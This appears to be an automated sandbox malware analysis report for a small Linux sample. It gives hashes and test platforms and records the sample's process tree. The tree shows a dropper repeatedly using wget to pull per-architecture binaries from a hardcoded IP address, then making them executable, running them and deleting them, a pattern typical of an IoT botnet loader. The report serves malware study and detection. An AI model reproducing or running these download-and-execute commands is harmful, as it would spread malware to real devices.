Analysis
-
max time kernel
21s -
max time network
25s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20231215-en -
resource tags
arch:mipselimage:debian9-mipsel-20231215-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
01/02/2024, 23:38
Static task
static1
Behavioral task
behavioral1
Sample
87f6cdd9e7b20463d16dbc0a987da1e0
Resource
ubuntu1804-amd64-20231215-en
Behavioral task
behavioral2
Sample
87f6cdd9e7b20463d16dbc0a987da1e0
Resource
debian9-armhf-20231215-en
Behavioral task
behavioral3
Sample
87f6cdd9e7b20463d16dbc0a987da1e0
Resource
debian9-mipsbe-20231222-en
Behavioral task
behavioral4
Sample
87f6cdd9e7b20463d16dbc0a987da1e0
Resource
debian9-mipsel-20231215-en
General
-
Target
87f6cdd9e7b20463d16dbc0a987da1e0
-
Size
2KB
-
MD5
87f6cdd9e7b20463d16dbc0a987da1e0
-
SHA1
cf961f122cee39b32a2897d63318d58596b52035
-
SHA256
2903715c715b076a071f7d487094390c9011eca9b0148c232514383c53e7f459
-
SHA512
d66eec9549580ae7f9d11c7e41e46e7c10e3ba95dca93b19198f9cd1613b9b18cd2471f6931fbe84b13dd213ebc1fae7bb878553e6c337633be0587576b3d888
Malware Config
Signatures
Processes
-
/tmp/87f6cdd9e7b20463d16dbc0a987da1e0/tmp/87f6cdd9e7b20463d16dbc0a987da1e01⤵PID:710
-
/usr/bin/wgetwget http://66.70.188.177/m-i.p-s.SNOOPY2⤵PID:714
-
-
/bin/chmodchmod +x m-i.p-s.SNOOPY2⤵PID:728
-
-
/tmp/m-i.p-s.SNOOPY./m-i.p-s.SNOOPY2⤵PID:729
-
-
/bin/rmrm -rf m-i.p-s.SNOOPY2⤵PID:731
-
-
/usr/bin/wgetwget http://66.70.188.177/m-p.s-l.SNOOPY2⤵PID:732
-
-
/bin/chmodchmod +x m-p.s-l.SNOOPY2⤵PID:734
-
-
/tmp/m-p.s-l.SNOOPY./m-p.s-l.SNOOPY2⤵PID:735
-
-
/bin/rmrm -rf m-p.s-l.SNOOPY2⤵PID:736
-
-
/usr/bin/wgetwget http://66.70.188.177/s-h.4-.SNOOPY2⤵PID:737
-
-
/bin/chmodchmod +x s-h.4-.SNOOPY2⤵PID:738
-
-
/tmp/s-h.4-.SNOOPY./s-h.4-.SNOOPY2⤵PID:739
-
-
/bin/rmrm -rf s-h.4-.SNOOPY2⤵PID:740
-
-
/usr/bin/wgetwget http://66.70.188.177/x-8.6-.SNOOPY2⤵PID:741
-
-
/bin/chmodchmod +x x-8.6-.SNOOPY2⤵PID:742
-
-
/tmp/x-8.6-.SNOOPY./x-8.6-.SNOOPY2⤵PID:743
-
-
/bin/rmrm -rf x-8.6-.SNOOPY2⤵PID:744
-
-
/usr/bin/wgetwget http://66.70.188.177/a-r.m-6.SNOOPY2⤵PID:745
-
-
/bin/chmodchmod +x a-r.m-6.SNOOPY2⤵PID:746
-
-
/tmp/a-r.m-6.SNOOPY./a-r.m-6.SNOOPY2⤵PID:747
-
-
/bin/rmrm -rf a-r.m-6.SNOOPY2⤵PID:748
-
-
/usr/bin/wgetwget http://66.70.188.177/x-3.2-.SNOOPY2⤵PID:749
-
-
/bin/chmodchmod +x x-3.2-.SNOOPY2⤵PID:750
-
-
/tmp/x-3.2-.SNOOPY./x-3.2-.SNOOPY2⤵PID:751
-
-
/bin/rmrm -rf x-3.2-.SNOOPY2⤵PID:752
-
-
/usr/bin/wgetwget http://66.70.188.177/a-r.m-7.SNOOPY2⤵PID:753
-
-
/bin/chmodchmod +x a-r.m-7.SNOOPY2⤵PID:754
-
-
/tmp/a-r.m-7.SNOOPY./a-r.m-7.SNOOPY2⤵PID:755
-
-
/bin/rmrm -rf a-r.m-7.SNOOPY2⤵PID:756
-
-
/usr/bin/wgetwget http://66.70.188.177/p-p.c-.SNOOPY2⤵PID:757
-
-
/bin/chmodchmod +x p-p.c-.SNOOPY2⤵PID:758
-
-
/tmp/p-p.c-.SNOOPY./p-p.c-.SNOOPY2⤵PID:759
-
-
/bin/rmrm -rf p-p.c-.SNOOPY2⤵PID:760
-
-
/usr/bin/wgetwget http://66.70.188.177/i-5.8-6.SNOOPY2⤵PID:761
-
-
/bin/chmodchmod +x i-5.8-6.SNOOPY2⤵PID:767
-
-
/tmp/i-5.8-6.SNOOPY./i-5.8-6.SNOOPY2⤵PID:769
-
-
/bin/rmrm -rf i-5.8-6.SNOOPY2⤵PID:770
-
-
/usr/bin/wgetwget http://66.70.188.177/m-6.8-k.SNOOPY2⤵PID:772
-
-
/bin/chmodchmod +x m-6.8-k.SNOOPY2⤵PID:777
-
-
/tmp/m-6.8-k.SNOOPY./m-6.8-k.SNOOPY2⤵PID:779
-
-
/bin/rmrm -rf m-6.8-k.SNOOPY2⤵PID:780
-
-
/usr/bin/wgetwget http://66.70.188.177/p-p.c-.SNOOPY2⤵PID:781
-
-
/bin/chmodchmod +x p-p.c-.SNOOPY2⤵PID:787
-
-
/tmp/p-p.c-.SNOOPY./p-p.c-.SNOOPY2⤵PID:789
-
-
/bin/rmrm -rf p-p.c-.SNOOPY2⤵PID:790
-
-
/usr/bin/wgetwget http://66.70.188.177/a-r.m-4.SNOOPY2⤵PID:792
-
-
/bin/chmodchmod +x a-r.m-4.SNOOPY2⤵PID:797
-
-
/tmp/a-r.m-4.SNOOPY./a-r.m-4.SNOOPY2⤵PID:799
-
-
/bin/rmrm -rf a-r.m-4.SNOOPY2⤵PID:800
-
-
/usr/bin/wgetwget http://66.70.188.177/a-r.m-5.SNOOPY2⤵PID:801
-
-
/bin/chmodchmod +x a-r.m-5.SNOOPY2⤵PID:806
-
-
/tmp/a-r.m-5.SNOOPY./a-r.m-5.SNOOPY2⤵PID:808
-
-
/bin/rmrm -rf a-r.m-5.SNOOPY2⤵PID:812
-